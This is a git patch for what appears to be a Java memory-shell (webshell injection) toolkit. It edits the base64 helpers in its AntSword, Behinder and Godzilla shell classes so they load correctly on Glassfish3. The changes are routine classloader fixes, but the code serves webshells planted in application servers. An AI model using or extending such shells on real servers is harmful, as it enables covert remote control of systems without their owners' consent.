From b7b1f2b60c885e37561511a66f66affbe547334b Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 1 Jun 2025 09:32:36 +0800 Subject: [PATCH] fix: Glassfish3 classNotFound --- .../javaweb/memshell/shelltool/antsword/AntSword.java | 5 +++-- .../javaweb/memshell/shelltool/behinder/Behinder.java | 5 +++-- .../javaweb/memshell/shelltool/godzilla/Godzilla.java | 10 ++++++---- 3 files changed, 12 insertions(+), 8 deletions(-) diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSword.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSword.java index e789b5ce..456471cb 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSword.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSword.java @@ -40,11 +40,12 @@ public class AntSword extends ClassLoader { @SuppressWarnings("all") public static byte[] base64Decode(String bs) throws Exception { + ClassLoader loader = Thread.currentThread().getContextClassLoader(); try { - Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); + Object decoder = Class.forName("java.util.Base64", false, loader).getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); } catch (Exception var6) { - Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance(); + Object decoder = Class.forName("sun.misc.BASE64Decoder", false, loader).newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/Behinder.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/Behinder.java index 985bb780..4d317712 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/Behinder.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/Behinder.java @@ -90,11 +90,12 @@ public class Behinder extends ClassLoader { @SuppressWarnings("all") public static byte[] base64Decode(String bs) throws Exception { + ClassLoader loader = Thread.currentThread().getContextClassLoader(); try { - Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); + Object decoder = Class.forName("java.util.Base64", false, loader).getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); } catch (Exception var6) { - Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance(); + Object decoder = Class.forName("sun.misc.BASE64Decoder", false, loader).newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java index ac90b96a..ea743909 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java @@ -61,22 +61,24 @@ public class Godzilla extends ClassLoader { @SuppressWarnings("all") public static String base64Encode(byte[] bs) throws Exception { + ClassLoader loader = Thread.currentThread().getContextClassLoader(); try { - Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null); + Object encoder = Class.forName("java.util.Base64", false ,loader).getMethod("getEncoder").invoke(null); return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); } catch (Exception var6) { - Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance(); + Object encoder = Class.forName("sun.misc.BASE64Encoder", false, loader).newInstance(); return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); } } @SuppressWarnings("all") public static byte[] base64Decode(String bs) throws Exception { + ClassLoader loader = Thread.currentThread().getContextClassLoader(); try { - Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); + Object decoder = Class.forName("java.util.Base64", false, loader).getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); } catch (Exception var6) { - Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance(); + Object decoder = Class.forName("sun.misc.BASE64Decoder", false, loader).newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); } }